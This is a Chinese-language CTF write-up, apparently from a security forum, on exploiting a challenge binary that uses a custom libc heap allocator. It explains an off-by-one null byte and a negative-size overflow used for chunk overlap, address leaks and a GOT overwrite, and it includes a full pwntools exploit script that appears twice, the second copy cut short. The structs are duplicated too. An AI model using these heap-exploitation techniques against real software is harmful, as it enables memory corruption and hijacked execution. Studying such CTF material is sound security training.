先看保护,Partial RELRO,然后没有canary,然后来看程序的逻辑,并且,这一个题是一个自制的libc库,并不是glibc(第一次打),那就要ida审一下他的libc库了,看一下他的分配器是怎么工作的,审完之后,他的主要逻辑是这样的,malloc会首先check你的size,主要检测对齐和是不是0(没有检测负数溢出问题),然后这里有一个类似于tcache的那个struct一样的管理结构,它是通过一个头节点进行管理,它的数据结构是
它的chunk的结构是
malloc会进行一个遍历,寻找有没有符合要求的chunk,它这里并不是像tcache一样,将相同大小的chunk放到同一个bin,而是单纯的按照这个mmap的页面里还有没有符合自己申请大小的,就连free的时候,都是按照地址范围来进行页面的查询的,如果当前页面剩余的空余大小大于我们需要的,就会将这个chunk通过fetch函数进行分割,然后分配给我们,如果所有页面都已经不够了,就会新mmap一个,然后进行分割,
能看到这个就是那个list head,因为只是一个头节点,所以只保留指针,前面的不需要就都是0
如果当前的free chunk大小合适的话(如果剩余大小-我们的分配大小<=16,会把那16字节也一并给我们),如果空闲大小很大,就会进行分割,并且填写剩余的空间的size以及相关管理结构的指针等
创建页面的一个函数,接收的参数是一个大小,在malloc的最下面有一个最小传入大小的设置,65548,这里的65583是65535 + 48,这个48其实就是页面前面的那6个管理结构元素,mmap之后,就是头部数据的初始化
并且更改list head的指针,将这个页面链入我们的管理结构
传入了chunk的userdata地址,然后对于double free的检测是检查了size的最低bit的use位,然后通过地址范围寻找它该放入的页面,相当于一个合法地址范围检查吧,之后去除use位,然后就是更改各种指针,并且减少头部数据中那个count,然后以free chunk的身份,链入管理结构,不会进行合并
就是双向链表的一个脱链结构,当这个页面所有chunk都被free掉,就会将当前页面释放,然后更改管理结构的链表,至此它的管理结构基本就已经捋完了
看一下程序逻辑,add函数接收一个size,并且这里是没有对size的负数溢出检查,-1警告,然后他会在我们输入的数据末尾补\x00,这次的是可以off by one的,不像某函数(fgets),然后,将size和ptr都放入bss段的一个全局结构体数组,然后edit函数没啥好说的,同样存在这个off by one问题,之后是delete函数,重点关注能不能UAF,能看到这里检查了对应的ptr存在与否和index范围,然后free之后,清除了size和ptr,暂时看不到怎么UAF,继续看show函数,这里,通过puts进行输出,然后看load函数,主要是检查了输入路径中,是否存在flag字段,如果存在调用f_open,这里解题点就立马出来了,之前got表可写,这里如果更改掉他的got表,让他调用r_open就行了,后续就围绕这个做,这里目前看到的手段一个是off by one,一个是负数溢出问题,这个溢出,通过尝试,可以打印一些东西,用于泄露,然后这里反复尝试之后,决定打这个大的页面的off by one,通过溢出一个\00字节,会覆盖到页面管理结构里的那个指向当前第一个空闲空间的指针,这样会出现一些错位,这里我调试发现,原本末尾字节是0xf0,然后剩余空间是0x110,之后通过溢出,就变成了0x00,那么逻辑上剩余空间和我们已经分配的空间就有了重叠,可以通过前面分配的chunk,在对应位置填写size,这样就可以实现一个overlapping,可以任意覆盖下一个页面的管理结构,然后我通过大小为-1的chunk(要通过调试,让他正好处于最后0x10字节),但是他溢出的空间会导致一个\x00截断,导致不能泄露,这里我是通过free掉一个chunk重新覆盖了对应的区域,这样就可以泄露chunk的地址了,任意分配手段,主要是通过这个over lapping更改指向下一个空闲空间的指针,来实现任意分配,此时我们就得到了libc的地址(因为mmap的地址和他相对偏移是固定的,我记得这好像是aslr的等级原因?),之后泄露elf基址很愁人,想了很久,最后暴力搜,直接tele挨个地址段看,在ld段里发现了一个指针指向了elf段,此时怎么泄露是一个问题,因为我们的泄露其实有缺陷,前面的泄露是靠重新覆写地址,来覆盖掉\x00
所以这里找到一个连续指向elf的地址段,注意他在fetch页面之后,会将剩余空间的大小进行一个重新填写,所以如果我们分配一个-1size的chunk到28这里,就会把这0x55fa694c8350-0x10写到38那里,此时就可以泄露了,后面就随便改got拿下了
struct node_header {
void* chunk_start; // v4[0] → v4 + 6 usrdata起始位置
void* num; // v4[1] → 计数器,记录当前分配了多少个,如果归零的话,会将这个mmap页面munmap
void* base; // v4[2] → v4
void* end; // v4[3] → v4 + len
void* prev; // v4[4] 双向链表,好像是这个是next和prev都可以,但是尾插法有点别扭,所以这里当成头插法比较符合tcache的那种插入方式
void* next; // v4[5]
}
struct node_header {
void* chunk_start; // v4[0] → v4 + 6 usrdata起始位置
void* num; // v4[1] → 计数器,记录当前分配了多少个,如果归零的话,会将这个mmap页面munmap
void* base; // v4[2] → v4
void* end; // v4[3] → v4 + len
void* prev; // v4[4] 双向链表,好像是这个是next和prev都可以,但是尾插法有点别扭,所以这里当成头插法比较符合tcache的那种插入方式
void* next; // v4[5]
}
struct chunk {
_int64 size;
chunk* next;
userdata
}
struct chunk {
_int64 size;
chunk* next;
userdata
}
v4[2] = v4; // start_add
v4[3] = (char *)v4 + len; // end
*v4 = v4 + 6; // real chunk start,指向了真正的chunk部分
v4[1] = 0LL; // 计数器归零
v4[4] = &list_head; // next指针指向了head
v4[5] = qword_4048; // 是直接指向了head的prev指针,
// 所以这一段其实就让新节点的prev指向了原本
v4[2] = v4; // start_add
v4[3] = (char *)v4 + len; // end
*v4 = v4 + 6; // real chunk start,指向了真正的chunk部分
v4[1] = 0LL; // 计数器归零
v4[4] = &list_head; // next指针指向了head
v4[5] = qword_4048; // 是直接指向了head的prev指针,
// 所以这一段其实就让新节点的prev指向了原本
from pwn import *
context(arch='amd64', log_level='debug', os='linux')
def add_for(p,index,size):
p.recvuntil(b'Choose an option:')
p.sendline(b'1')
p.recvuntil(b'idx: ')
p.sendline(str(index).encode())
p.recvuntil(b'size: ')
p.sendline(str(size).encode())
def add(p,index,size,data):
p.recvuntil(b'Choose an option:')
p.sendline(b'1')
p.recvuntil(b'idx: ')
p.sendline(str(index).encode())
p.recvuntil(b'size: ')
p.sendline(str(size).encode())
p.recvuntil(b'data: ')
p.send(data)
def delete(p, index):
p.recvuntil(b'Choose an option:')
p.sendline(b'3')
p.recvuntil(b'idx: ')
p.sendline(str(index).encode())
def edit(p, index, data):
p.recvuntil(b'Choose an option:')
p.sendline(b'2')
p.recvuntil(b'idx: ')
p.sendline(str(index).encode())
p.recvuntil(b'data: ')
p.send(data)
def show(p, index):
p.recvuntil(b'Choose an option:')
p.sendline(b'4')
p.recvuntil(b'idx: ')
p.sendline(str(index).encode())
def load(p, index, filename):
p.recvuntil(b'Choose an option:')
p.sendline(b'5')
p.recvuntil(b'idx: ')
p.sendline(str(index).encode())
p.recvuntil(b'filename: ')
p.send(filename)
p = remote('172.27.80.1',50247)
elf = ELF('./vuln')
libc = ELF('./libmylib.so')
add(p,0,65440,b'a' )
add(p,1,64688,b'a' )
add(p,1,0x1f0,b'a')
add(p,14,64702,b'a')
add(p,2,0x2f0,b'b'*0x2f0)
size = 0x300-0x20-0xd0
edit(p,1,b'a'*0x100+p64(size))
add(p,3,0x1e0,b'b' * 0x1d0)
add(p,4,0x10,b'a')
add_for(p,5,-1)
delete(p,4)
show(p,5)
leak_add = u64(p.recvn(6).ljust(8,b'\x00'))
print('leak_add --------------',hex(leak_add))
libc_base = leak_add + 0x20
print('libc_base --------------',hex(libc_base))
add_of_ld = libc_base + 0x40620
add(p,6,65440,b'a' )
add(p,7,64688,b'a' )
add(p,7,0x1f0,b'a')
add(p,14,64702,b'a')
add(p,8,0x2f0,b'b'*0x2f0)
edit(p,7,b'a'*0x100+p64(0x300))
add(p,9,0x250,b'a' * 0x1f0 + p64(add_of_ld))
add_for(p,10,-1)
p.sendline(b'1')
p.recvuntil(b'idx: ')
p.sendline(b'10')
p.recvuntil(b'size: ')
p.sendline(b'-1')
show(p,10)
leak_elf_add = u64(p.recvn(6).ljust(8,b'\x00'))
print('leak_elf_add --------------',hex(leak_elf_add))
elf_base = leak_elf_add - 0x340
print('elf_base --------------',hex(elf_base))
f_open_got = elf_base + elf.got['f_open']
print('f_open_got --------------',hex(f_open_got))
init_libmylib_got = elf_base + elf.got['init_libmylib']
print('init_libmylib_got --------------',hex(init_libmylib_got))
r_open = libc_base + libc.symbols['r_open']
print('r_open --------------',hex(r_open))
edit(p,9,0x1f0 * b'a' + p64(init_libmylib_got))
read_add = libc_base + libc.symbols['read']
memset_add = libc_base + libc.symbols['memset']
r_open_add = libc_base + libc.symbols['r_open']
exit_add = libc_base + libc.symbols['exit']
close_add = libc_base + libc.symbols['close']
free_add = libc_base + libc.symbols['free']
payload = p64(read_add) + p64(memset_add) + p64(r_open_add) +p64(r_open_add) + p64(exit_add) + p64(close_add) + p64(free_add)
add(p,12,0x50,payload)
load(p,2,b'flag')
show(p,2)
p.interactive()
from pwn import *
context(arch='amd64', log_level='debug', os='linux')
def add_for(p,index,size):
p.recvuntil(b'Choose an option:')
p.sendline(b'1')
p.recvuntil(b'idx: ')
p.sendline(str(index).encode())
p.recvuntil(b'size: ')
p.sendline(str(size).encode())
def add(p,index,size,data):
p.recvuntil(b'Choose an option:')
p.sendline(b'1')
p.recvuntil(b'idx: ')
p.sendline(str(index).encode())
p.recvuntil(b'size: ')
p.sendline(str(size).encode())
p.recvuntil(b'data: ')
p.send(data)
def delete(p, index):
p.recvuntil(b'Choose an option:')
p.sendline(b'3')
p.recvuntil(b'idx: ')
p.sendline(str(index).encode())
def edit(p, index, data):
p.recvuntil(b'Choose an option:')
p.sendline(b'2')
p.recvuntil(b'idx: ')
p.sendline(str(index).encode())
p.recvuntil(b'data: ')
p.send(data)
def show(p, index):
p.recvuntil(b'Choose an option:')
p.sendline(b'4')
p.recvuntil(b'idx: ')
p.sendline(str(index).encode())
def load(p, index, filename):
p.recvuntil(b'Choose an option:')
p.sendline(b'5')
p.recvuntil(b'idx: ')
p.sendline(str(index).encode())
p.recvuntil(b'filename: ')
p.send(filename)
p = remote('172.27.80.1',50247)
elf = ELF('./vuln')
libc = ELF('./libmylib.so')
add(p,0,65440,b'a' )
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!
最后于 2025-5-9 20:13
被pwnlhy编辑
,原因: 图片问题
上传的附件: